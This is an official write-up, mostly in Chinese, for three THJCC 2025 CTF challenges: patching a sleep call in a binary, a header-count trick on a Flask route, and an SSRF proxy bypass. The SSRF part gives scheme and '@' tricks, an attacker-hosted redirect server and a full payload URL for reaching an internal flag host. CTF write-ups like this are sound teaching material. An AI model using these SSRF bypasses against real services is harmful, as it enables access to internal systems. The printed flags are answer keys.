THJCC 2025 Official-Writeup

Reverse

time_GEM

1
tag : rev,easy
2

3
I used the Time GEM to put the flag to sleep...

主要的考點是 patch (~~所以出的像是 AIS3 某一題~~)

先來執行看看：

1
soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_rev
2
I used the Time GEM to put the flag to sleep...
3
Hope you can wake it up!
4
------------------------------splitline!-----------------------------------
5
T

恩…輸出一個 T 就停住了來拖進 IDA 看一下

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  puts("I used the Time GEM to put the flag to sleep...");
4
  puts("Hope you can wake it up!");
5
  puts("------------------------------splitline!-----------------------------------");
6
  time_gem("------------------------------splitline!-----------------------------------", argv);
7
  return 0;
8
}

time_gem

1
unsigned __int64 power()
2
{
3
  void *v0; // rsp
4
  __int64 v2; // [rsp+8h] [rbp-160h] BYREF
5
  int i; // [rsp+10h] [rbp-158h]
6
  int v4; // [rsp+14h] [rbp-154h]
7
  int v5; // [rsp+18h] [rbp-150h]
8
  int v6; // [rsp+1Ch] [rbp-14Ch]
9
  char *s; // [rsp+20h] [rbp-148h]
10
  __int64 v8; // [rsp+28h] [rbp-140h]
11
  __int64 *v9; // [rsp+30h] [rbp-138h]
12
  _BYTE v10[280]; // [rsp+38h] [rbp-130h] BYREF
13
  unsigned __int64 v11; // [rsp+150h] [rbp-18h]
14

15
  v11 = __readfsqword(0x28u);
16
  qmemcpy(v10, &unk_2060, 0x10CuLL);
17
  v4 = 67;
18
  s = "THJCCISSOGOODIMNOTTHEFLAG!!!";
19
  v8 = 67LL;
20
  v0 = alloca(80LL);
21
  v9 = &v2;
22
  v5 = strlen("THJCCISSOGOODIMNOTTHEFLAG!!!");
23
  for ( i = 0; i < v4; ++i )
24
  {
25
    v6 = s[i % v5] ^ (i % 256);
26
    *((_BYTE *)v9 + i) = v6 ^ v10[4 * i];
27
    printf("%c\n", (unsigned int)*((char *)v9 + i));
28
    sleep(0x1337u);
29
  }
30
  return v11 - __readfsqword(0x28u);
31
}

可以看到他對資料進行的某些操作，並會把他一個一個字元的印出來 (猜測是 FLAG) 但他在每個字元做完後會睡 0x1337 秒

這時候我們可以善用 IDA 的 patch 功能，把睡的秒數用掉就好了

先打開組語視窗並找到要呼叫 _sleep 那邊，可以看到

1337h 就是要睡的秒數

這邊我是用 Edit -> Patch program -> Assemble

改成 0h 後按 OK

最後按 Edit -> Patch program -> Apply patches to input file...

再去執行一次程式後就看到 FLAG 跑出來了~

1
soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_rev
2
I used the Time GEM to put the flag to sleep...
3
Hope you can wake it up!
4
------------------------------splitline!-----------------------------------
5
T
6
H
7
J
8
C
9
C
10
{
11
H
12
0
13
w
14
_
15
I
16
_
17
e
18
n
19
V
20
Y
21
_
22
4
23
N
24
d
25
_
26
W
27
1
28
5
29
H
30
_
31
r
32
e
33
4
34
L
35
1
36
7
37
Y
38
_
39
k
40
0
41
u
42
L
43
d
44
_
45
4
46
L
47
5
48
0
49
_
50
k
51
0
52
N
53
7
54
R
55
0
56
l
57
_
58
T
59
I
60
M
61
E
62
-
63
-
64
>
65
=
66
.
67
=
68
!
69
!
70
!
71
}

~~或是你可以硬逆回來也不是不行~~

THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME—>=.=!!!}

Web

Headless

1
tag : web,easy
2

3
I think robots are headless, but you are a real human, right?

觀察一下，是個甚麼都沒有的網頁，但題目有提示你要去 robots.txt 裡面有個 /hum4n-0nLy 的 route

進去之後會發現它其實是這題的 source code：

1
from flask import Flask, request, render_template, Response
2
from flag import FLAG
3

4
app = Flask(__name__)
5

6
@app.route('/')
7
def index():
8
    return render_template('index.html')
9

10
@app.route('/robots.txt')
11
def noindex():
12
    r = Response(
13
        response="User-Agent: *\nDisallow: /hum4n-0nLy\n",
14
        status=200,
15
        mimetype="text/plain"
16
    )
17
    r.headers["Content-Type"] = "text/plain; charset=utf-8"
18
    return r
19

20
@app.route('/hum4n-0nLy')
21
def source_code():
22
    return open(__file__).read()
23

24
@app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d')
25
def secret_flag():
26
    if len(request.headers) > 1:
27
        return "I'm sure robots are headless, but you are not a robot, right?"
28
    return FLAG
29

30
if __name__ == '__main__':
31
    app.run(host='0.0.0.0', port=80, debug=False)

有個 /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d 可以獲得 FLAG，但請求標頭不能大於一，這邊可以用很多方法送 curl,nc,burp suite… 都可以！

這邊示範用 burp suite 送

唯一的坑點應該就是如果你用 burp suite 送，最後那邊應該要兩個 \r\n 不然會卡住

THJCC{Rob0t_r=@lways_he@dl3ss…}

proxy | under_development

1
tag : web,hard
2

3
More verification! More features!
4

5
Bypass the impossible verification logic and try to fetch secret.flag.thjcc.tw/flag to get the FLAG!

沒錯，~~流量轉發到別人家的題目又來了~~

上次說要出 revenge 後原本想找 1day 來出，但發現這樣好像不太好玩，所以這題就變成各種玩 url 的小花招 (~~如果你平常很閒沒事一直玩 url 應該很快就可以解出來~~)

先來看 source code：

1
const express = require('express');
2
const http = require('http');
3
const https = require('https');
4
const path = require('path');
5
const urlModule = require('url');
6
const dns = require('dns');
7
const { http: followHttp, https: followHttps } = require('follow-redirects');
8

9
const app = express();
10
app.use(express.json());
11
app.use(express.static(path.join(__dirname, 'public')));
12

13
app.get('/', (req, res) => {
14
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
15
});
16

17
function CheckSeheme(scheme) {
18
    return scheme.startsWith('http://') || scheme.startsWith('https://');
19
}
20

21
app.get('/fetch', (req, res) => {
22
    const scheme = req.query.scheme;
23
    const host = req.query.host;
24
    const path = req.query.path;
25
    if (!scheme || !host || !path) {
26
        return res.status(400).send('Missing parameters');
27
    }
28
    const client = scheme.startsWith('https') ? followHttps : followHttp;
29
    const fixedhost = 'extra-' + host + '.cggc.chummy.tw';
30

31
    if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
32
        return res.send('Development in progress! Service temporarily unavailable!');
33
    }
34

35
    const url = scheme + fixedhost + path;
36
    const parsedUrl = new urlModule.URL(url);
37

38
    dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => {
39
        if (err) {
40
            console.log('DNS lookup failed!');
41
        }
42
        if (address == '172.32.0.20') {
43
            return res.status(403).send('Sorry, I cannot access this host');
44
        }
45
    });
46

47
    if (parsedUrl.hostname.length < 13) {
48
        return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');
49
    }
50

51
    client.get(url, (response) => {
52
        let data = '';
53

54
        response.on('data', (chunk) => {
55
            data += chunk;
56
        });
57

58
        response.on('end', () => {
59
            res.send(data);
60
        });
61
    }).on('error', (err) => {
62
        res.status(500).send('Failed to fetch data from the URL');
63
    });
64
});
65

66
app.listen(3000, '0.0.0.0', () => {
67
    console.log('Server running on http://0.0.0.0:3000');
68
});

目標是戳到 secret.flag.thjcc.tw/flag 但有幾關要繞指定 domain 的部分一樣可以用 @ 去繞

但這次要克服更多的關卡

首先是 scheme 的問題

1
function CheckSeheme(scheme) {
2
    return scheme.startsWith('http://') || scheme.startsWith('https://');
3
}
4

5
const fixedhost = 'extra-' + host + '.cggc.chummy.tw';
6

7
if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
8
        return res.send('Development in progress! Service temporarily unavailable!');
9
    }

這次在前面加了前墜，還有過濾大小寫、空格這些限制但其實 scheme 很寬鬆你可以給 http:/\, http:/ , http:\\ 甚至不給 /,\ 都是可以的

再來是 IP

可以先去看 docker-compose.yml 發現他幫 secret.flag.thjcc.tw 指定了 IP

1
version: "3.5"
2

3
services:
4
  secret.flag.thjcc.tw:
5
    build:
6
      context: ./flag
7
    networks:
8
      custom_network:
9
        ipv4_address: 172.32.0.20
10

11
  proxy-under_development:
12
    build:
13
      context: ./src
14
    environment:
15
      - NODE_ENV=production
16
    ports:
17
      - 10068:3000/tcp
18
    networks:
19
      custom_network:
20
        ipv4_address: 172.32.0.10
21

22
networks:
23
  custom_network:
24
    driver: bridge
25
    ipam:
26
      config:
27
        - subnet: 172.32.0.0/16

接著在這個地方去做檢查，用 dnslookup 解析並限制你的 IP (其實也就是指你不能直接用 secret.flag.thjcc.tw 這個 domain)

1
dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => {
2
        if (err) {
3
            console.log('DNS lookup failed!');
4
        }
5
        if (address == '172.32.0.20') {
6
            return res.status(403).send('Sorry, I cannot access this host');
7
        }
8
    });

觀察一下發現這次的 http 多開了 redirect 功能

1
const { http: followHttp, https: followHttps } = require('follow-redirects');

所以你可以自己寫一個網頁讓他訪問，再讓他 redirect 到 secret.flag.thjcc.tw/flag 就好。 ( 對了，~~如果你這關是 bypass node.js 的 url module 可以來 DM 我，我要跪你~~

這邊示範用 python

1
from flask import Flask, redirect, url_for
2

3
app = Flask(__name__)
4

5
@app.route('/')
6
def home():
7
    return redirect("http://secret.flag.thjcc.tw/flag/")
8

9

10
if __name__ == "__main__":
11
    app.run(debug=True,host='0.0.0.0',port=48763)

寫好網頁後你可以用 VPS, 免費的 ngrok 或是這個超酷的網站↗ 架起來

沒錯，這段

1
if (parsedUrl.hostname.length < 13) {
2
        return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');
3
}

就是禁短網址用的，我不知道還有這種東西 www

最後一步了

當你開心的指去 secret.flag.thjcc.tw/flag 時你會收到 I have said the service is temporarily unavailable now! (；′⌒`)

原因是因為 flag/app.js 中有個檢查是：

1
app.get('/flag', (req, res) => {
2

3
    if (req.path === '/flag'){ // WTF?
4
        return res.send('I have said the service is temporarily unavailable now! (；′⌒`)');
5
    }
6

7
    if (req.hostname === 'secret.flag.thjcc.tw')
8
        return res.send(FLAG);
9
    else
10
        return res.send('Sorry, you are not allowed to access this page (；′⌒`)');
11
});

啥? 請求 flag route 但 request 的 path 又不能是 /flag ???

但我們可以自己實驗一下， req.path 顧名思義就是會存進你整個請求的路徑，所以我們的目標是做出跟 /flag 一樣效果的變種路徑

其實也有很多方法可以寫，像是 /flag/,/flag/meow/../ 等等

把這些想法串在一起送過去就獲得 FLAG 了！

payload

1
http://chal.ctf.scint.org:10068/fetch?scheme=http:/\&host=meow&path=@{redirect's url or server}

THJCC{--->redirection--->evil-websites--->redirection--->bypass!--->flag!}

Thanks for reading!

THJCC 2025 Official-Writeup

周三 4月 30 2025

1649 字 · 13 分鐘

ctfs thjcc official-writeup